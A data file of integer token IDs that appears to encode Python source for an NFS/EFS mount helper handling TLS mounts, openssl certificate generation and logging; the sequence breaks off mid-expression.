13,
1753,
5766,
29918,
29876,
5847,
29898,
29881,
1983,
29918,
978,
29892,
2224,
29892,
5766,
3149,
29892,
3987,
1125,
13,
13,
1678,
565,
525,
29873,
3137,
29915,
297,
3987,
29901,
13,
4706,
5766,
29918,
2084,
353,
525,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
16664,
29879,
29915,
1273,
2224,
13,
1678,
1683,
29901,
13,
4706,
5766,
29918,
2084,
353,
14210,
29879,
16664,
29879,
29915,
1273,
313,
29881,
1983,
29918,
978,
29892,
2224,
29897,
13,
13,
1678,
1899,
353,
6024,
29914,
29879,
2109,
29914,
16476,
29889,
29876,
5847,
29946,
742,
5766,
29918,
2084,
29892,
5766,
3149,
29892,
17411,
29877,
742,
679,
29918,
29876,
5847,
29918,
16476,
29918,
6768,
29898,
6768,
4638,
13,
13,
1678,
565,
525,
1212,
1983,
29915,
297,
3987,
29901,
13,
4706,
1899,
353,
6024,
1983,
5893,
742,
525,
489,
1212,
2433,
718,
3987,
1839,
1212,
1983,
2033,
29962,
718,
1899,
13,
13,
1678,
12183,
29889,
3888,
877,
5379,
17068,
29901,
11860,
29879,
29908,
742,
525,
15300,
7122,
29898,
6519,
876,
13,
13,
1678,
9580,
353,
1014,
5014,
29889,
29925,
3150,
29898,
6519,
29892,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
380,
20405,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
1678,
714,
29892,
4589,
353,
9580,
29889,
27820,
403,
580,
13,
13,
1678,
565,
9580,
29889,
2457,
401,
1275,
29871,
29900,
29901,
13,
4706,
2643,
353,
525,
14191,
3730,
19239,
1273,
29879,
472,
1273,
29879,
29915,
1273,
313,
29881,
1983,
29918,
978,
29892,
5766,
3149,
29897,
13,
4706,
12183,
29889,
3888,
29898,
4906,
29897,
13,
4706,
9805,
29918,
9274,
12344,
29918,
1188,
29898,
29907,
3927,
15789,
29956,
14789,
14480,
29918,
10051,
3919,
29892,
2643,
29897,
13,
1678,
1683,
29901,
13,
4706,
2643,
353,
525,
17776,
304,
5766,
1273,
29879,
472,
1273,
29879,
29901,
736,
401,
16328,
29881,
29892,
380,
20405,
543,
29995,
29879,
29908,
29915,
1273,
313,
29881,
1983,
29918,
978,
29892,
5766,
3149,
29892,
9580,
29889,
2457,
401,
29892,
4589,
29889,
17010,
3101,
13,
4706,
18409,
29918,
2704,
29898,
3127,
29889,
17010,
3285,
2643,
29892,
9580,
29889,
2457,
401,
29897,
13,
13,
13,
1753,
8744,
29898,
449,
29892,
6876,
29918,
401,
29922,
29896,
1125,
13,
1678,
714,
29889,
3539,
877,
27573,
29901,
5766,
29889,
1389,
29879,
518,
489,
3259,
29962,
21069,
29882,
29989,
489,
8477,
29962,
529,
5847,
978,
29958,
529,
16476,
3149,
29958,
21069,
29877,
529,
6768,
29958,
10725,
29876,
1495,
13,
1678,
10876,
29889,
13322,
29898,
13322,
29918,
401,
29897,
13,
13,
13,
1753,
6088,
29918,
25699,
29918,
799,
368,
29918,
13322,
29898,
5085,
29922,
8516,
1125,
13,
1678,
9995,
12914,
6273,
29892,
8454,
363,
4688,
6876,
5855,
871,
15945,
29908,
13,
1678,
565,
6389,
338,
6213,
29901,
13,
4706,
6389,
353,
10876,
29889,
19218,
13,
13,
1678,
565,
17411,
29882,
29915,
297,
6389,
29961,
29896,
17531,
470,
525,
489,
8477,
29915,
297,
6389,
29961,
29896,
29901,
5387,
13,
4706,
8744,
29898,
449,
29922,
9675,
29889,
25393,
29892,
6876,
29918,
401,
29922,
29900,
29897,
13,
13,
1678,
565,
525,
489,
3259,
29915,
297,
6389,
29961,
29896,
29901,
5387,
13,
4706,
10876,
29889,
25393,
29889,
3539,
877,
29995,
29879,
10079,
29901,
1273,
29879,
29905,
29876,
29915,
1273,
313,
5085,
29961,
29900,
1402,
478,
1001,
13381,
876,
13,
4706,
10876,
29889,
13322,
29898,
29900,
29897,
13,
13,
13,
1753,
6088,
29918,
25699,
29898,
2917,
29892,
6389,
29922,
8516,
1125,
13,
1678,
9995,
12914,
6273,
29892,
736,
313,
5847,
333,
29892,
2224,
29892,
5766,
3149,
29892,
3987,
5513,
15945,
13,
1678,
565,
6389,
338,
6213,
29901,
13,
4706,
6389,
353,
10876,
29889,
19218,
13,
13,
1678,
18920,
978,
353,
6213,
13,
1678,
5766,
3149,
353,
6213,
13,
1678,
3987,
353,
6571,
13,
13,
1678,
565,
7431,
29898,
5085,
29897,
1405,
29871,
29896,
29901,
13,
4706,
18920,
978,
353,
6389,
29961,
29896,
29962,
13,
1678,
565,
7431,
29898,
5085,
29897,
1405,
29871,
29906,
29901,
13,
4706,
5766,
3149,
353,
6389,
29961,
29906,
29962,
13,
1678,
565,
7431,
29898,
5085,
29897,
1405,
29871,
29946,
322,
17411,
29877,
29915,
297,
6389,
7503,
29899,
29896,
5387,
13,
4706,
3987,
29918,
2248,
353,
6389,
29889,
2248,
877,
29899,
29877,
1495,
718,
29871,
29896,
13,
4706,
3987,
353,
6088,
29918,
6768,
29898,
5085,
29961,
6768,
29918,
2248,
2314,
13,
13,
1678,
565,
451,
18920,
978,
470,
451,
5766,
3149,
29901,
13,
4706,
8744,
29898,
449,
29922,
9675,
29889,
303,
20405,
29897,
13,
13,
1678,
18920,
29918,
333,
29892,
2224,
353,
1993,
29918,
10141,
29898,
2917,
29892,
18920,
978,
29897,
13,
13,
1678,
736,
18920,
29918,
333,
29892,
2224,
29892,
5766,
3149,
29892,
3987,
13,
13,
13,
1753,
679,
29918,
4645,
29918,
3888,
29898,
2917,
1125,
13,
1678,
3132,
29918,
3888,
353,
6571,
13,
13,
1678,
396,
2752,
1820,
29914,
1767,
5101,
297,
2295,
934,
13,
1678,
565,
2295,
29889,
5349,
29918,
3385,
29898,
27205,
3919,
29918,
11690,
29918,
1660,
9838,
29892,
525,
4993,
29374,
13,
4706,
3132,
29918,
4993,
353,
2295,
29889,
657,
29898,
27205,
3919,
29918,
11690,
29918,
1660,
9838,
29892,
525,
4993,
1495,
13,
4706,
565,
29871,
29900,
529,
7431,
29898,
4645,
29918,
4993,
29897,
5277,
24492,
3919,
29918,
27839,
4741,
29918,
10810,
29918,
1307,
29940,
29918,
5265,
26349,
29901,
13,
9651,
3132,
29918,
3888,
1839,
4993,
2033,
353,
3132,
29918,
4993,
13,
13,
1678,
736,
3132,
29918,
3888,
13,
13,
13,
1753,
1653,
29918,
6327,
8021,
29898,
2917,
29892,
5766,
29918,
978,
29892,
3619,
29918,
978,
29892,
5120,
29892,
18920,
29918,
333,
29892,
6993,
29918,
11944,
9409,
29892,
3095,
29918,
333,
29892,
3132,
29918,
3888,
29892,
13,
462,
539,
2967,
29918,
2084,
29922,
19713,
29918,
7724,
29918,
9464,
1125,
13,
1678,
1857,
29918,
2230,
353,
679,
29918,
329,
29883,
29918,
3707,
580,
13,
1678,
260,
3137,
29918,
24772,
353,
260,
3137,
29918,
24772,
29918,
27126,
29898,
16476,
29918,
978,
29892,
2967,
29918,
2084,
29897,
13,
13,
1678,
12289,
29918,
2917,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29873,
3137,
29918,
24772,
1839,
16476,
29918,
3972,
7464,
525,
2917,
29889,
5527,
1495,
13,
1678,
12289,
29918,
4530,
292,
29918,
3827,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29873,
3137,
29918,
24772,
1839,
16476,
29918,
3972,
7464,
525,
3827,
29889,
2395,
29878,
1495,
13,
1678,
12289,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29873,
3137,
29918,
24772,
1839,
16476,
29918,
3972,
7464,
525,
6327,
8021,
29889,
29886,
331,
1495,
13,
13,
1678,
5777,
29918,
3972,
29879,
29918,
3198,
29898,
2917,
29892,
260,
3137,
29918,
24772,
1839,
9803,
29918,
3972,
7464,
260,
3137,
29918,
24772,
1839,
6327,
29879,
29918,
3972,
11287,
13,
1678,
5777,
29918,
5924,
292,
29918,
5325,
29918,
3198,
29898,
29873,
3137,
29918,
24772,
1839,
2248,
7464,
260,
3137,
29918,
24772,
1839,
2248,
29918,
5552,
7464,
260,
3137,
29918,
24772,
1839,
15550,
7464,
260,
3137,
29918,
24772,
1839,
9502,
11287,
13,
13,
1678,
2024,
29918,
1989,
353,
1423,
29918,
392,
29918,
3258,
29918,
9053,
29918,
1989,
29898,
3188,
29918,
2084,
29897,
13,
13,
1678,
565,
6993,
29918,
11944,
9409,
29901,
13,
4706,
970,
29918,
1989,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29873,
3137,
29918,
24772,
1839,
16476,
29918,
3972,
7464,
525,
3597,
2558,
29889,
29886,
331,
1495,
13,
4706,
1653,
29918,
3597,
29918,
1989,
29898,
9053,
29918,
1989,
29892,
970,
29918,
1989,
29897,
13,
13,
1678,
1653,
29918,
1113,
29918,
5527,
29898,
6327,
8021,
29918,
2917,
29892,
3619,
29918,
978,
29892,
260,
3137,
29918,
24772,
1839,
16476,
29918,
3972,
7464,
2024,
29918,
1989,
29892,
1857,
29918,
2230,
29892,
5120,
29892,
18920,
29918,
333,
29892,
13,
462,
259,
6993,
29918,
11944,
9409,
29892,
3095,
29918,
333,
29892,
3132,
29918,
3888,
29897,
13,
1678,
1653,
29918,
6327,
8021,
29918,
4530,
292,
29918,
3827,
29898,
6327,
8021,
29918,
2917,
29892,
2024,
29918,
1989,
29892,
12289,
29918,
4530,
292,
29918,
3827,
29897,
13,
13,
1678,
451,
29918,
11083,
353,
679,
29918,
6327,
8021,
29918,
16394,
29898,
3784,
29918,
2230,
29892,
6233,
10457,
12256,
29918,
15349,
5800,
1525,
29918,
16173,
29903,
29897,
13,
1678,
451,
29918,
7045,
353,
679,
29918,
6327,
8021,
29918,
16394,
29898,
3784,
29918,
2230,
29892,
6199,
29922,
12256,
29918,
5098,
4945,
29918,
8187,
4574,
29903,
29897,
13,
13,
1678,
9920,
353,
525,
22156,
2536,
5777,
448,
2962,
1256,
1273,
29879,
448,
355,
1256,
1273,
29879,
448,
1311,
4530,
448,
16175,
448,
6812,
486,
448,
2917,
1273,
29879,
448,
262,
1273,
29879,
448,
449,
1273,
29879,
29915,
1273,
320,
13,
3986,
313,
1333,
29918,
11083,
29892,
451,
29918,
7045,
29892,
12289,
29918,
2917,
29892,
12289,
29918,
4530,
292,
29918,
3827,
29892,
12289,
29897,
13,
1678,
1014,
5014,
29918,
4804,
29898,
9006,
29892,
525,
17776,
304,
1653,
1583,
29899,
7433,
3132,
29899,
2975,
12289,
1495,
13,
1678,
736,
1857,
29918,
2230,
29889,
710,
615,
603,
29898,
29907,
20161,
29918,
25832,
2544,
8890,
29918,
19094,
1299,
29897,
13,
13,
13,
1753,
679,
29918,
9053,
29918,
1989,
29918,
2084,
7295,
13,
1678,
9995,
29956,
336,
2986,
363,
11187,
292,
11976,
297,
5190,
6987,
15945,
29908,
13,
1678,
736,
349,
3960,
29963,
3040,
29918,
10818,
29918,
7724,
13,
13,
13,
1753,
1423,
29918,
392,
29918,
3258,
29918,
9053,
29918,
1989,
29898,
3188,
29918,
2084,
29922,
19713,
29918,
7724,
29918,
9464,
1125,
13,
1678,
396,
26221,
390,
8132,
2024,
6611,
338,
5232,
29892,
577,
591,
674,
1653,
697,
2024,
1820,
322,
2758,
5766,
29879,
304,
6232,
372,
29889,
13,
1678,
396,
910,
2794,
29892,
3138,
29892,
393,
591,
505,
304,
3160,
263,
7714,
292,
13336,
304,
9801,
393,
278,
2024,
1820,
338,
13,
1678,
396,
12301,
1711,
2825,
29892,
408,
5766,
29879,
13920,
292,
297,
8943,
1122,
1018,
304,
1653,
278,
1820,
21699,
29889,
13,
1678,
1820,
353,
679,
29918,
9053,
29918,
1989,
29918,
2084,
580,
13,
13,
1678,
732,
4703,
12847,
13,
1678,
822,
1722,
29918,
908,
29918,
1445,
7295,
13,
4706,
7714,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
2084,
29892,
525,
1389,
29879,
29899,
13239,
29899,
908,
1495,
13,
4706,
285,
353,
2897,
29889,
3150,
29898,
908,
29918,
1445,
29892,
2897,
29889,
29949,
29918,
22245,
1299,
891,
2897,
29889,
29949,
29918,
8452,
29979,
15868,
891,
2897,
29889,
29949,
29918,
5746,
6154,
891,
2897,
29889,
29949,
29918,
29934,
29928,
9980,
29897,
13,
4706,
1018,
29901,
13,
9651,
7714,
29918,
1445,
29918,
10853,
353,
525,
29925,
1367,
29901,
1273,
29879,
29915,
1273,
2897,
29889,
657,
5935,
580,
13,
9651,
2897,
29889,
3539,
29898,
29888,
29892,
7714,
29918,
1445,
29918,
10853,
29889,
12508,
877,
9420,
29899,
29947,
8785,
13,
9651,
7709,
285,
13,
4706,
7146,
29901,
13,
9651,
2897,
29889,
5358,
29898,
29888,
29897,
13,
9651,
2897,
29889,
5992,
29898,
908,
29918,
1445,
29897,
13,
13,
1678,
822,
437,
29918,
2541,
29918,
908,
29898,
2220,
1125,
13,
4706,
1550,
5852,
29901,
13,
9651,
1018,
29901,
13,
18884,
411,
1722,
29918,
908,
29918,
1445,
7295,
13,
462,
1678,
736,
740,
580,
13,
9651,
5174,
438,
29173,
408,
321,
29901,
13,
18884,
565,
321,
29889,
3127,
1217,
1275,
4589,
1217,
29889,
29923,
5746,
9047,
29901,
13,
462,
1678,
12183,
29889,
3888,
877,
17776,
304,
2125,
714,
2024,
1820,
11265,
7714,
29892,
8709,
292,
29871,
29945,
29900,
10887,
1495,
13,
462,
1678,
931,
29889,
17059,
29898,
29900,
29889,
29900,
29945,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
12020,
13,
13,
1678,
822,
5706,
29918,
1989,
7295,
13,
4706,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
1989,
1125,
13,
9651,
736,
13,
13,
4706,
9920,
353,
525,
22156,
2536,
2531,
29886,
1989,
448,
20567,
390,
8132,
448,
449,
1273,
29879,
448,
29886,
1989,
3670,
364,
4977,
29918,
1989,
1885,
29918,
14836,
29901,
29941,
29900,
29955,
29906,
29915,
1273,
1820,
13,
4706,
1014,
5014,
29918,
4804,
29898,
9006,
29892,
525,
17776,
304,
1653,
2024,
1820,
1495,
13,
4706,
1303,
29918,
6194,
29918,
8513,
353,
29871,
29900,
29877,
29946,
29900,
29900,
13,
4706,
2897,
29889,
305,
1545,
29898,
1989,
29892,
1303,
29918,
6194,
29918,
8513,
29897,
13,
13,
1678,
437,
29918,
2541,
29918,
908,
29898,
17158,
29918,
1989,
29897,
13,
1678,
736,
1820,
13,
13,
13,
1753,
1653,
29918,
6327,
8021,
29918,
4530,
292,
29918,
3827,
29898,
2917,
29918,
2084,
29892,
2024,
29918,
1989,
29892,
5939,
29878,
29918,
2084,
1125,
13,
1678,
9920,
353,
525,
22156,
2536,
12428,
448,
1482,
448,
2917,
1273,
29879,
448,
1989,
1273,
29879,
448,
449,
1273,
29879,
29915,
1273,
313,
2917,
29918,
2084,
29892,
2024,
29918,
1989,
29892,
5939,
29878,
29918,
2084,
29897,
13,
1678,
1014,
5014,
29918,
4804,
29898,
9006,
29892,
525,
17776,
304,
1653,
12289,
26188,
2009,
313,
2395,
29878,
29897,
1495,
13,
13,
13,
1753,
1653,
29918,
1113,
29918,
5527,
29898,
2917,
29918,
2084,
29892,
3619,
29918,
978,
29892,
3884,
29892,
2024,
29918,
1989,
29892,
2635,
29892,
13,
462,
259,
5120,
29892,
18920,
29918,
333,
29892,
6993,
29918,
11944,
9409,
29892,
3095,
29918,
333,
29892,
3132,
29918,
3888,
1125,
13,
1678,
9995,
12310,
5987,
5777,
29914,
7971,
5285,
934,
411,
10849,
22920,
472,
1432,
5766,
1951,
15861,
29963,
29946,
12608,
508,
1735,
15945,
29908,
13,
1678,
970,
29918,
1989,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
12322,
29892,
525,
3597,
2558,
29889,
29886,
331,
1495,
13,
1678,
5777,
29918,
17588,
29918,
2587,
353,
5777,
29918,
17588,
29918,
16409,
29898,
481,
29918,
333,
29892,
6993,
29918,
11944,
9409,
29892,
18920,
29918,
333,
29892,
3132,
29918,
3888,
29897,
13,
1678,
321,
5847,
29918,
4645,
29918,
5150,
29918,
2587,
353,
321,
5847,
29918,
4645,
29918,
5150,
29918,
16409,
29898,
3597,
29918,
1989,
29918,
2084,
29892,
6993,
29918,
11944,
9409,
1839,
6638,
2558,
1204,
7464,
13,
462,
462,
462,
259,
6993,
29918,
11944,
9409,
1839,
28459,
6638,
2558,
7464,
2635,
29892,
5120,
29892,
18920,
29918,
333,
29892,
13,
462,
462,
462,
259,
6993,
29918,
11944,
9409,
1839,
6066,
11287,
565,
6993,
29918,
11944,
9409,
1683,
6629,
13,
1678,
321,
5847,
29918,
4645,
29918,
3888,
29918,
2587,
353,
321,
5847,
29918,
4645,
29918,
3888,
29918,
16409,
29898,
4645,
29918,
3888,
29897,
565,
3132,
29918,
3888,
1683,
6629,
13,
1678,
2989,
29918,
2917,
29918,
2587,
353,
12766,
29918,
25903,
29918,
8456,
29928,
29979,
1273,
313,
12322,
29892,
2024,
29918,
1989,
29892,
3619,
29918,
978,
29892,
5777,
29918,
17588,
29918,
2587,
29892,
13,
462,
462,
308,
321,
5847,
29918,
4645,
29918,
5150,
29918,
2587,
29892,
321,
5847,
29918,
4645,
29918,
3888,
29918,
2587,
29897,
13,
13,
1678,
411,
1722,
29898,
2917,
29918,
2084,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
4706,
285,
29889,
3539,
29898,
8159,
29918,
2917,
29918,
2587,
29897,
13,
13,
1678,
736,
2989,
29918,
2917,
29918,
2587,
13,
13,
13,
1753,
5777,
29918,
17588,
29918,
16409,
29898,
481,
29918,
333,
29892,
6993,
29918,
11944,
9409,
29892,
18920,
29918,
333,
29892,
3132,
29918,
3888,
1125,
13,
1678,
5777,
29918,
17588,
29918,
710,
353,
525,
29961,
325,
29941,
29918,
1113,
4514,
29905,
29876,
16009,
2558,
12889,
353,
6608,
29915,
13,
1678,
565,
3095,
29918,
333,
29901,
13,
4706,
5777,
29918,
17588,
29918,
710,
4619,
11297,
29876,
29896,
29889,
29941,
29889,
29953,
29889,
29896,
29889,
29946,
29889,
29896,
29889,
29946,
29947,
29946,
29941,
29889,
29955,
29889,
29896,
353,
3339,
29940,
29896,
29901,
10496,
29947,
1231,
11283,
718,
3095,
29918,
333,
13,
1678,
565,
6993,
29918,
11944,
9409,
29901,
13,
4706,
5777,
29918,
17588,
29918,
710,
4619,
11297,
29876,
29896,
29889,
29941,
29889,
29953,
29889,
29896,
29889,
29946,
29889,
29896,
29889,
29946,
29947,
29946,
29941,
29889,
29955,
29889,
29906,
353,
3339,
29940,
29896,
29901,
1660,
13356,
1430,
4741,
29901,
1389,
29879,
29918,
4645,
29918,
5150,
29915,
13,
13,
1678,
5777,
29918,
17588,
29918,
710,
4619,
11297,
29876,
29896,
29889,
29941,
29889,
29953,
29889,
29896,
29889,
29946,
29889,
29896,
29889,
29946,
29947,
29946,
29941,
29889,
29955,
29889,
29941,
353,
3339,
29940,
29896,
29901,
10496,
29947,
1231,
11283,
718,
18920,
29918,
333,
13,
13,
1678,
565,
3132,
29918,
3888,
29901,
13,
4706,
5777,
29918,
17588,
29918,
710,
4619,
11297,
29876,
29896,
29889,
29941,
29889,
29953,
29889,
29896,
29889,
29946,
29889,
29896,
29889,
29946,
29947,
29946,
29941,
29889,
29955,
29889,
29946,
353,
3339,
29940,
29896,
29901,
1660,
13356,
1430,
4741,
29901,
1389,
29879,
29918,
4645,
29918,
3888,
29915,
13,
13,
1678,
736,
5777,
29918,
17588,
29918,
710,
13,
13,
13,
1753,
321,
5847,
29918,
4645,
29918,
5150,
29918,
16409,
29898,
3597,
29918,
1989,
29918,
2084,
29892,
2130,
29918,
1989,
29918,
333,
29892,
7035,
29918,
5943,
29918,
1989,
29892,
2635,
29892,
5120,
29892,
18920,
29918,
333,
29892,
4867,
29918,
6979,
29922,
8516,
1125,
13,
1678,
970,
29918,
1989,
29918,
8568,
353,
679,
29918,
3597,
29918,
1989,
29918,
17051,
29896,
29898,
3597,
29918,
1989,
29918,
2084,
29897,
13,
1678,
24420,
29918,
3827,
353,
1653,
29918,
3068,
265,
936,
29918,
3827,
29898,
3597,
29918,
1989,
29918,
8568,
29892,
2635,
29892,
2130,
29918,
1989,
29918,
333,
29892,
5120,
29892,
18920,
29918,
333,
29892,
4867,
29918,
6979,
29897,
13,
1678,
1347,
29918,
517,
29918,
4530,
353,
1653,
29918,
1807,
29918,
517,
29918,
4530,
29898,
3068,
265,
936,
29918,
3827,
29892,
2635,
29892,
5120,
29897,
13,
1678,
12608,
353,
8147,
29918,
4530,
1535,
29898,
1807,
29918,
517,
29918,
4530,
29892,
2635,
29892,
7035,
29918,
5943,
29918,
1989,
29892,
5120,
29897,
13,
1678,
321,
5847,
29918,
4645,
29918,
5150,
29918,
710,
353,
525,
29961,
321,
5847,
29918,
4645,
29918,
5150,
4514,
29915,
13,
1678,
321,
5847,
29918,
4645,
29918,
5150,
29918,
710,
4619,
11297,
29876,
5943,
2558,
1204,
353,
18351,
29947,
1231,
11283,
718,
2130,
29918,
1989,
29918,
333,
13,
1678,
321,
5847,
29918,
4645,
29918,
5150,
29918,
710,
4619,
11297,
1983,
647,
1535,
353,
438,
1783,
2544,
20785,
11283,
718,
12608,
13,
1678,
321,
5847,
29918,
4645,
29918,
5150,
29918,
710,
4619,
11297,
1983,
335,
29894,
29946,
11384,
353,
501,
29911,
1783,
8890,
11283,
718,
2635,
29889,
710,
615,
603,
29898,
29907,
20161,
29918,
25832,
2544,
8890,
29918,
19094,
1299,
29897,
13,
13,
1678,
565,
4867,
29918,
6979,
29901,
13,
4706,
321,
5847,
29918,
4645,
29918,
5150,
29918,
710,
4619,
11297,
1983,
1211,
6066,
353,
8528,
7390,
2965,
1806,
29901,
29900,
29892,
10496,
29947,
1231,
11283,
718,
4867,
29918,
6979,
13,
13,
1678,
736,
321,
5847,
29918,
4645,
29918,
5150,
29918,
710,
13,
13,
13,
1753,
321,
5847,
29918,
4645,
29918,
3888,
29918,
16409,
29898,
4645,
29918,
3888,
1125,
13,
1678,
321,
5847,
29918,
4645,
29918,
3888,
29918,
710,
353,
525,
29961,
321,
5847,
29918,
4645,
29918,
3888,
4514,
29915,
13,
1678,
363,
1820,
29892,
995,
297,
3132,
29918,
3888,
29889,
7076,
7295,
13,
4706,
321,
5847,
29918,
4645,
29918,
3888,
29918,
710,
4619,
11297,
29876,
29995,
29879,
353,
18351,
29947,
1231,
16664,
29879,
29915,
1273,
313,
1989,
29892,
995,
29897,
13,
1678,
736,
321,
5847,
29918,
4645,
29918,
3888,
29918,
710,
13,
13,
13,
1753,
1653,
29918,
3597,
29918,
1989,
29898,
9053,
29918,
1989,
29892,
970,
29918,
1989,
1125,
13,
1678,
9920,
353,
525,
22156,
2536,
364,
4977,
448,
262,
1273,
29879,
448,
449,
689,
349,
12665,
448,
5467,
449,
448,
449,
1273,
29879,
29915,
1273,
313,
9053,
29918,
1989,
29892,
970,
29918,
1989,
29897,
13,
1678,
1014,
5014,
29918,
4804,
29898,
9006,
29892,
525,
17776,
304,
1653,
970,
1820,
1495,
13,
13,
13,
1753,
1014,
5014,
29918,
4804,
29898,
9006,
29892,
1059,
29918,
4906,
1125,
13,
1678,
9995,
10739,
1158,
304,
1065,
6473,
13246,
2536,
1899,
322,
304,
4386,
2933,
1059,
7191,
15945,
29908,
13,
1678,
337,
2202,
29918,
3706,
353,
29871,
29941,
13,
1678,
363,
337,
2202,
297,
3464,
29898,
276,
2202,
29918,
3706,
1125,
13,
4706,
1889,
353,
1014,
5014,
29889,
29925,
3150,
29898,
9006,
29889,
5451,
3285,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
380,
20405,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
4706,
313,
4905,
29892,
4589,
29897,
353,
1889,
29889,
27820,
403,
580,
13,
4706,
364,
29883,
353,
1889,
29889,
29886,
3028,
580,
13,
4706,
565,
364,
29883,
2804,
29871,
29900,
29901,
13,
9651,
12183,
29889,
2704,
877,
6255,
1273,
29879,
5229,
29892,
364,
29883,
16328,
29879,
29892,
27591,
543,
29995,
29879,
613,
380,
20405,
543,
29995,
29879,
29908,
29915,
1273,
313,
9006,
29892,
364,
29883,
29892,
1962,
29892,
4589,
511,
5566,
29918,
3888,
29922,
5574,
29897,
13,
9651,
1018,
29901,
13,
18884,
1889,
29889,
21174,
580,
13,
9651,
5174,
438,
29173,
29901,
13,
18884,
396,
5664,
2705,
4418,
565,
278,
1014,
5014,
756,
429,
1573,
2307,
13,
18884,
1209,
13,
4706,
1683,
29901,
13,
9651,
736,
1962,
29892,
4589,
13,
1678,
1059,
29918,
4906,
353,
14210,
29879,
29892,
1059,
338,
29901,
1273,
29879,
29915,
1273,
313,
2704,
29918,
4906,
29892,
4589,
29897,
13,
1678,
18409,
29918,
2704,
29898,
2704,
29918,
4906,
29892,
1059,
29918,
4906,
29897,
13,
13,
13,
1753,
5777,
29918,
3972,
29879,
29918,
3198,
29898,
2917,
29892,
2566,
29918,
3972,
29892,
2284,
29879,
29918,
3972,
1125,
13,
1678,
9995,
5596,
565,
5766,
29915,
29879,
2566,
322,
2284,
29879,
17525,
1863,
322,
565,
451,
29892,
1653,
17525,
313,
15189,
1653,
599,
19697,
13,
1678,
17525,
565,
896,
1016,
29915,
29873,
1863,
467,
15945,
29908,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
9803,
29918,
3972,
1125,
13,
4706,
1653,
29918,
12403,
29918,
12322,
29898,
2917,
29892,
2566,
29918,
3972,
29897,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
6327,
29879,
29918,
3972,
1125,
13,
4706,
1653,
29918,
12403,
29918,
12322,
29898,
2917,
29892,
2284,
29879,
29918,
3972,
29897,
13,
13,
13,
1753,
5777,
29918,
5924,
292,
29918,
5325,
29918,
3198,
29898,
2248,
29918,
2084,
29892,
2380,
29918,
5552,
29918,
2084,
29892,
7797,
29918,
2084,
29892,
20088,
29918,
2084,
1125,
13,
1678,
9995,
4789,
3015,
599,
20382,
13246,
2536,
5777,
322,
12428,
2066,
565,
896,
29915,
276,
451,
2198,
297,
1009,
18067,
17525,
15945,
29908,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
275,
1445,
29898,
2248,
29918,
2084,
1125,
13,
4706,
1722,
29898,
2248,
29918,
2084,
29892,
525,
29893,
2824,
5358,
580,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
275,
1445,
29898,
2248,
29918,
5552,
29918,
2084,
1125,
13,
4706,
411,
1722,
29898,
2248,
29918,
5552,
29918,
2084,
29892,
525,
29893,
29974,
1495,
408,
285,
29901,
13,
9651,
285,
29889,
3539,
877,
13092,
29918,
16009,
353,
694,
1495,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
275,
1445,
29898,
15550,
29918,
2084,
1125,
13,
4706,
411,
1722,
29898,
15550,
29918,
2084,
29892,
525,
29893,
29974,
1495,
408,
285,
29901,
13,
9651,
285,
29889,
3539,
877,
29900,
29900,
1495,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
275,
1445,
29898,
9502,
29918,
2084,
1125,
13,
4706,
1722,
29898,
9502,
29918,
2084,
29892,
525,
29893,
2824,
5358,
580,
13,
13,
13,
1753,
679,
29918,
6327,
8021,
29918,
16394,
29898,
3784,
29918,
2230,
29892,
3579,
19290,
1125,
13,
1678,
4784,
29918,
2230,
353,
1857,
29918,
2230,
718,
5335,
287,
2554,
29898,
1068,
19290,
29897,
13,
1678,
736,
4784,
29918,
2230,
29889,
710,
615,
603,
29898,
29907,
20161,
29918,
25832,
2544,
8890,
29918,
19094,
1299,
29897,
13,
13,
13,
1753,
679,
29918,
329,
29883,
29918,
3707,
7295,
13,
1678,
9995,
13,
1678,
399,
336,
2986,
363,
13261,
292,
11976,
297,
5190,
6987,
13,
1678,
9995,
13,
1678,
736,
12865,
29889,
329,
29883,
3707,
580,
13,
13,
13,
1753,
4974,
29918,
4632,
7295,
13,
1678,
565,
2897,
29889,
657,
29872,
5416,
580,
2804,
29871,
29900,
29901,
13,
4706,
10876,
29889,
303,
20405,
29889,
3539,
877,
6194,
3876,
508,
1065,
5766,
29889,
1389,
29879,
29905,
29876,
1495,
13,
4706,
10876,
29889,
13322,
29898,
29896,
29897,
13,
13,
13,
1753,
1303,
29918,
2917,
29898,
2917,
29918,
1445,
29922,
25903,
29918,
7724,
1125,
13,
1678,
1018,
29901,
13,
4706,
282,
353,
12782,
11726,
29889,
17618,
1725,
3991,
11726,
580,
13,
1678,
5174,
23833,
2392,
29901,
13,
4706,
282,
353,
12782,
11726,
580,
13,
1678,
282,
29889,
949,
29898,
2917,
29918,
1445,
29897,
13,
1678,
736,
282,
13,
13,
13,
1753,
16087,
29918,
21027,
29898,
2917,
29892,
1480,
29918,
3972,
29922,
14480,
29918,
9464,
1125,
13,
1678,
10650,
29918,
5563,
353,
2295,
29889,
657,
29898,
25903,
29918,
1660,
9838,
29892,
525,
21027,
29918,
5563,
1495,
13,
1678,
11174,
353,
426,
13,
4706,
525,
8382,
2396,
12183,
29889,
18525,
29892,
13,
4706,
525,
3888,
2396,
12183,
29889,
11690,
29892,
13,
4706,
525,
27392,
2396,
12183,
29889,
29956,
25614,
29892,
13,
4706,
525,
2704,
2396,
12183,
29889,
11432,
29892,
13,
4706,
525,
9695,
936,
2396,
12183,
29889,
11341,
1806,
2965,
1964,
13,
1678,
500,
13,
1678,
3233,
353,
11174,
29889,
657,
29898,
1610,
